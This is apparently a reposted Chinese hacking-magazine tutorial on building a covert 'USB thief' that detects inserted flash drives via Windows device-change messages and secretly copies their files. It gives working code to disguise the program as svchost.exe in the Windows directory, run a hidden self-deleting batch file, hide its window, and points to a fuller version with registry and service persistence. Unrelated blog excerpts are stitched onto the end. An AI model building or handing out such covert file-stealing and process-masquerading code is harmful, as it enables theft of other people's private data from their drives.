锻造完美U盘小偷:活用消息机制

锻造完美U盘小偷:活用消息机制
作者:灰狐
来源:灰狐‘s Blog

注:本文已发表在<黑客防线>2008年第1期,转载请注明出处.

以前经常看到有人做出一些蛮有意思的小工具,其中最多的似乎就是所谓的U盘小偷了——偷偷地把你U盘里的东西copy出来的东西。

根据以前的《黑客防线》来看,就这一类的工具已经N多了,有脚本或批处理的、有VC的、有BCB的、有delphi或VB的,五花八门;当然其中各个的技术含量也是大不相同,大多数都是采用最常规的做法。注入进程的见过不少,但居然很少有讲使用消息机制的。(也许有不少,但在杂志上没看到过)

今天我就综合采用多种方法来打造一个尽量完善的U盘小偷;我没有采用任何比较难的技术,而是演示怎样综合利用各种思路来弥补技术上的不足。

首先得搞清楚我们的小偷具体要做什么,就是所谓的系统分析,呵呵。通常这些小偷程序都是工作在我们的电脑或者最起码是我们能接触到的电脑(不然偷了东西也没办法给运回来啊),所以此时进程隐藏并不是非常重要了,只要在任务管理器中不能被发现即可;再者就是程序要隐藏在后台运行(废话);还有就是绝对不能占用太多资源,这个非常重要;最后就是智能判断应该偷哪些文件。

先来看最核心的功能吧,利用消息机制来实现实时监控U盘事件。

我就不从头讲解什么是消息机制了,还不太理解的读者可以先参考我博客上的两篇文章《理解Windows消息机制》、《Windows消息高级应用》(URL:http://www.huihu32.cn/post/37.htmlhttp://www.huihu32.cn/post/38.html)。现在假设你已经大概知道了什么是消息、怎样处理消息这些内容。

先介绍下U盘事件,在USB设备插入或者移除等操作发生的时候,系统会将WM_DEVICECHANGE消息分发到系统中的所有顶层窗口。WM_DEVICECHANGE消息的wParam有两个我们需要注意的值:

DBT_DEVICEARRIVAL // 0x8000 插入事件

DBT_DEVICEREMOVECOMPLETE //0x8004 移除事件

我们先写段代码来测试一下,用BCB新建一个Application工程,在头文件Unit1.h中最后加入重载窗口函数的声明:

public: // User declarations

__fastcall TForm1(TComponent* Owner);

void __fastcall WndProc(TMessage &Message); //我们要重载这个函数

然后在实现文件Unit1.cpp中实现:

void __fastcall TForm1::WndProc(TMessage &Message)

{

if(!bStarted) //如果没点“开始监控”按钮我们暂不监控

{

}

//如果是移动设备消息则进入处理

if(Message.Msg == WM_DEVICECHANGE) //帮助里面有这个消息的详细说明

{

switch(Message.WParam)

{

case DBT_DEVICEARRIVAL:

Memo1->Lines->Add(" 发现USB设备插入!");

break;

case DBT_DEVICEREMOVECOMPLETE:

Memo1->Lines->Add(" USB设备被拔出!");

break;

default:

break;

}

}

TForm::WndProc(Message); //最后别忘了把其他消息交给默认窗口函数处理

}

注意以上代码需要包含头文件:#include <Dbt.h>。

下面我们看一下效果,我插入一个U盘的时候和拔出的时候都被发现了,如图1:

根据网上流传的说法,当网络驱动器设备连接和移除的时候也会触发这个消息,可以做如下预处理:

PDEV_BROADCAST_VOLUME dbvDev=(PDEV_BROADCAST_VOLUME)Message.LParam;

if (dbvDev->dbcv_flags & DBTF_MEDIA)

{ //加入处理代码

}

在WM_DEVICECHANGE消息的lParam参数中保存了设备的相关信息,我们要对设备的类型进行判断,只需要获得DEV_BROADCAST_VOLUME结构中的dbcv_flags的值。

当它的值为DBTF_NET时,那么当前的这个逻辑卷便是网络卷。所以我们在上面代码中判断dbcv_flags的值是否为DBTF_MEDIA,以此判断是否为网络驱动器。也可以这样判断:dbcv_flags如果等于1,则表示是光盘驱动器;如果是2,则是网络驱动器;如果是硬盘、U盘则都等于0(注:这些结构的说明在BCB的帮助中我没找到,但VC的MSDN中有非常详细的说明),这样会使得我们程序的容错性大大地提高。

需要注意的是,当插入一个设备时,所有与这个设备相关的设备都会产生这个事件,而不是产生单一的插入事件,这个问题可以用 GUID 解决。

注册设备GUID的代码:

DEV_BROADCAST_DEVICEINTERFACE DevInt;

memset(&DevInt,0,sizeof(DEV_BROADCAST_DEVICEINTERFACE));

DevInt.dbcc_size = sizeof(DEV_BROADCAST_DEVICEINTERFACE);

DevInt.dbcc_devicetype = DBT_DEVTYP_DEVICEINTERFACE;

DevInt.dbcc_classguid = DevGuid;

//设备的GUID,不同的设备有不同的GUID,根据实际情况设定

hDevNotify=RegisterDeviceNotification(Handle,&DevInt,DEVICE_NOTIFY_WINDOW_HANDLE);

Windows XP以上版本允许用DEVICE_NOTIFY_ALL_INTERFACE_CLASSES注册关注所有的设备的插入和拔出事件,这个参数是RegisterDeviceNotification函数的第三个参数。如下:

RegisterDeviceNotification(Handle,&DevInt,DEVICE_NOTIFY_WINDOW_HANDLE|

DEVICE_NOTIFY_ALL_INTERFACE_CLASSES);

但这样就无法在Win 2K及其以下系统运行。所以建议直接获取你关注的那个设备的GUID,利于程序的通用性。

关于如何获取设备的GUID,最简单的办法是查注册表:

“HKEY_LOCAL_MACHINE//SYSTEM//ControlSet001//Enum//USB//Vid_厂家标识&

Pid_产品标识//驱动程序”里面的ClassGUID就是驱动程序的GUID标识。

不过,我们这里并不打算使用GUID,而是当捕获到USB设备插入的消息后就启动扫描代码来遍历寻找U盘(可以使用GUID过滤掉自己的U盘)。

这时修改一下原来的代码,把

case DBT_DEVICEARRIVAL:

Memo1->Lines->Add(" 发现USB设备插入!");

break;

修改为以下:

case DBT_DEVICEARRIVAL:

{

PDEV_BROADCAST_VOLUME dbvDev = (DEV_BROADCAST_VOLUME *)Message.LParam;

if(dbvDev->dbcv_flags == 0)

{

Memo1->Lines->Add(" 发现USB设备插入!");

Memo1->Lines->Add(" 当前U盘盘符为"+AnsiString(ScanFlashDisk()));

}

break;

}

其中ScanFlashDisk()函数的定义为:

char __fastcall TForm1::ScanFlashDisk()

{

char USB = NULL;

char szDriveName[4] = {0};

wsprintf(szDriveName,"C:/0");

for(szDriveName[0] = ‘C‘;szDriveName[0] < ‘Z‘;szDriveName[0]++)

{

if(GetDriveType(szDriveName) == DRIVE_REMOVABLE)

{

USB=szDriveName[0];

return USB;

}

}

return USB;

}

此时的运行效果请看截图2:

现在我们离目标已经很近了,下面就是进程的隐藏技巧,本来想采用进程注入的方法的,但如果这样的话整个程序都需要重写了,在自己电脑上隐藏个进程还需要这么麻烦吗?

通常每次开机的时候都会有好几个svchost.exe进程,所以我们只要在启动的时候检查自己的名字是不是svchost.exe,如果不是就退出,生成一个批处理将自己改名。系统的svchost.exe是在system32目录下的,我们就把自己隐藏到Windows目录下吧,反正这里的文件也多,并且我们的小偷平时并不占很多资源,一般来说还是比较容易隐藏的。下面是测试代码:

//检查自己的路径

char DirBuffer[MAX_PATH],SysBuffer[MAX_PATH];

DWORD DirSize = sizeof(DirBuffer);

GetWindowsDirectory(SysBuffer,DirSize); //得到Windows目录位置

strcat(SysBuffer,"//svchost.exe"); //构造完整文件名

HMODULE hModule = GetModuleHandle(NULL);

GetModuleFileName(hModule,DirBuffer,DirSize); //得到程序自身完整文件名

if(strcmp(DirBuffer,SysBuffer) != 0) //比较两个完整文件名是否相同

{ //如果不在Windows目录

CopyFile(DirBuffer,SysBuffer,false); //将自身覆盖拷贝到Windows目录

FILE *fp;

fp = fopen("system.bat","w+");

fprintf(fp,"@echo off/r/n"); //生成自删除的批处理文件

fprintf(fp,":start/r/n/tif not exist %s goto done/r/n",ExtractFileName(DirBuffer));

fprintf(fp,"/tdel /f /q %s/r/n",ExtractFileName(DirBuffer));

fprintf(fp,"goto start/r/n");

fprintf(fp,":done/r/n");

fprintf(fp,"/tdel /f /q %0/r/n");

fclose(fp);

//隐藏窗口运行此批处理

ShellExecute(NULL,"open","system.bat",NULL,NULL,SW_HIDE);

//别忘了把新路径下的小偷给启动哦

ShellExecute(NULL,"open",SysBuffer,NULL,NULL,SW_HIDE);

exit(0); //退出程序

}

这段代码经过测试完全可以达到目的,任务管理器中根本看不出来是哪个svchost,只有利用其它专门工具了,我是用冰刃才找到了是哪个进程。

哈哈,两个重要问题都解决了,现在我们就一鼓作气把剩下的两个问题搞定吧,隐藏窗口在BCB中尤其简单:

Form1->Hide();

有人提问了,隐藏起来自己也看不到了咋办?好说好说,咱设置一个全局热键不就得了,实现方法不难,请看:

ATOM iHot = GlobalAddAtom("HotKey"); //注册一个全局原子,这个是必须的

RegisterHotKey(this->Handle,iHot,MOD_ALT,VK_F8); //定义热键 Alt + F8

在程序的OnDestroy事件中要将其释放掉:

UnregisterHotKey(this->Handle,WM_HOTKEY);

捕获到热键时该怎么处理呢?答案是使用消息映射:

//定义事件函数

void __fastcall OnHotKey(TMessage &msg);

BEGIN_MESSAGE_MAP

MESSAGE_HANDLER(WM_HOTKEY,TMessage,OnHotKey);

END_MESSAGE_MAP(TForm);

最后在主文件中加入我们的实现代码:

void __fastcall Form1::OnHotKey(TMessage &msg)

{

MainForm->Show();

}

这样当程序在后台工作的时候我们就可以用Alt+F8直接呼出窗口进行管理了。

智能判断文件说起来很悬乎,其实就是判断扩展名,因为像mp3、wma、rmv这些影音文件通常比较大,而且通常也不是我们想关心的内容?这里我们也不用写上大段代码来遍历文件,然后判断扩展名,这样太麻烦了,还是用批处理吧。代码就不发了,本文涉及到的所有源代码均可以在打包的源文件中找到。
补充说明:我已经利用业余时间重写了这个U盘小偷,做的有一定的实用性了,本文所讲到的大多数技巧都继续使用了,并且又增加了许多新的技巧,比如使用了多线程、改用API遍历文件并判断属性确定是否值得拷贝、支持注册表启动和服务启动、U盘防火墙等很多实用的功能,具体可以参见:http://www.huihu32.cn/post/ustealer.html。截止目前的版本完整工程代码以及可执行程序我都已经打包放在附件里面了。

时间: 2024-10-10 16:40:05

锻造完美U盘小偷:活用消息机制的相关文章

读&quot;U盘小偷&quot;有感

作者: sudami 嘿嘿,今天终于有时间学习自己喜欢的东西了,在kanxue里看到一篇关于U盘小偷的文章:http://bbs.pediy.com/showthread.php?p=381656#post381656读了其源码,学到一些东西: (1) 判断移动设备的插入/拔出 嘿嘿, 以前一直觉得很神秘的"判断是否有U盘插入"其实就是这么一回事! 下面照搬作者本人的注解吧: 1.Message==WM_DEVICECHANGE 当设备被插入/拔出的时候,WINDOWS会向每个窗体发送

【大话QT之九】ZMQ偏执海盗模型调研以及模拟实现网盘负载均衡间消息通讯

应用需求: 由于网盘服务端既需要承载用户文件目录的监控又要负责文件的上传和下载,当某一时刻用户访问量较大或用户操作较为频繁是,单台文件监控服务器和文件传输服务器往往无法满足需求,极端情况下很可能造成服务器内存和CPU使用率爆表的情况,而且当Client与文件监控服务器间网络状况不好的情况下,很有可能造成用户操作序列的丢失,即用户在客户端的操作序列没有及时反映到服务端,造成用户本地目录和服务器端存储的文件不一致的情况.基于上述情况的考虑,必须要设计一套负载均衡系统,它能够满足在用户访问量增加或用户

[转]易语言消息机制分析(消息拦截原理)

标 题: [原创]易语言消息机制分析(消息拦截原理)作 者: 红绡枫叶时 间: 2014-12-17,12:41:44链 接: http://bbs.pediy.com/showthread.php?t=195626 我自己做了个易语言的sig签名,方便分析的时候用.易语言例子是静态编译的.版本 5.11易语言其实是基于mfc的,它依然需要mfc的消息派发机制,只不过,自己当了系统与用户间的代理人.所有的消息都要经它转发而已.我在MFC的消息派发函数_AfxDispatchCmdMsg下断点,总

【win32】day04-Win32消息机制

消息机制 过程驱动:程序是按照我们预先定义好的顺序 执行,每执行一步,下一步都已经按照预定的顺序继续执行,直到程序结束. 事件驱动:程序的执行顺序是无序的.某个时间点所执行的代码,是由外界通知.由于我们无法决定用户执行顺序,所以代码的执行也是无序. Win32的消息机制 -事件驱动. Win32消息程序 2.1 Win32窗口注册 2.2 Win32窗口创建 2.3 WIn32消息循环 2.3.1 GetMessage BOOL GetMessage( LPMSG lpMsg,//存放获取到的消

利用消息机制实现VC与Delphi之间的通讯(发送自定义消息)

摘要: 本文介绍了使用Windows消息机制实现由不同语言编制的程序之间的相互通讯.联系,并以当前较为流行的两种语言Microsoft Visual C++ 6.0和Borland delphi 5.0为对象,用这两种语言各编制一应用程序,并能很好的通过消息进行交互. 关键字:vc++.delphi.消息 一. 引言 编制较大型的程序往往需要将一个项目分割成若干个模块,由若干个开发小组共同完成.笔者曾参加过几个大型项目的研发工作,根据需要往往要将项目分为解为几大部分,分到三.四家科研单位共同完成

Broadcom的消息机制

在Broadcom中提供了自己的消息机制,有两种消息形式:Request/Response and Event(事件) Request/Response消息:进程之间的通信都是通过smd,所有的消息都是先发送到smd,smd收到信息后,如果消息目的是smd的就做相应的操作,如果不是,就把这个消息route出去 Event messages :对某些事件感兴趣的进程,可以CMS_MSG_REGISTER_EVENT_INTEREST注册此感兴趣事件.事件发生时,将事件信息发送给smd,smd再将事

Android的消息机制之ThreadLocal的工作原理

提到消息机制大家应该都不陌生,在日常开发中不可避免地要涉及到这方面的内容.从开发的角度来说,Handler是Android消息机制的上层接口,这使得开发过程中只需要和Handler交互即可.Handler的使用过程很简单,通过它可以轻松地将一个任务切换到Handler所在的线程中去执行.很多人认为Handler的作用是更新UI,这说的的确没错,但是更新UI仅仅是Handler的一个特殊的使用场景,具体来说是这样的:有时候需要在子线程中进行耗时的IO操作,这可能是读取文件或者访问网络等,当耗时操作

android 进程/线程管理(四)续----消息机制的思考(自定义消息机制)

继续分析handler 和looper 先看看handler的 public void dispatchMessage(Message msg) { if (msg.callback != null) { handleCallback(msg); } else { if (mCallback != null) { if (mCallback.handleMessage(msg)) { return; } } handleMessage(msg); } } 所以消息的处理分层三种,就是 1.传入一

深入Windows内核——C++中的消息机制

<编程思想之消息机制>一文中我们讲了消息的相关概念和消息机制的模拟,本文将进一步聊聊C++中的消息机制. 从简单例子探析核心原理 在讲之前,我们先看一个简单例子:创建一个窗口和两个按钮,用来控制窗口的背景颜色.其效果如下: 图 2 :效果图 Win32Test.h #pragma once #include <windows.h> #include <atltypes.h> #include <tchar.h> //资源ID #define ID_BUTTO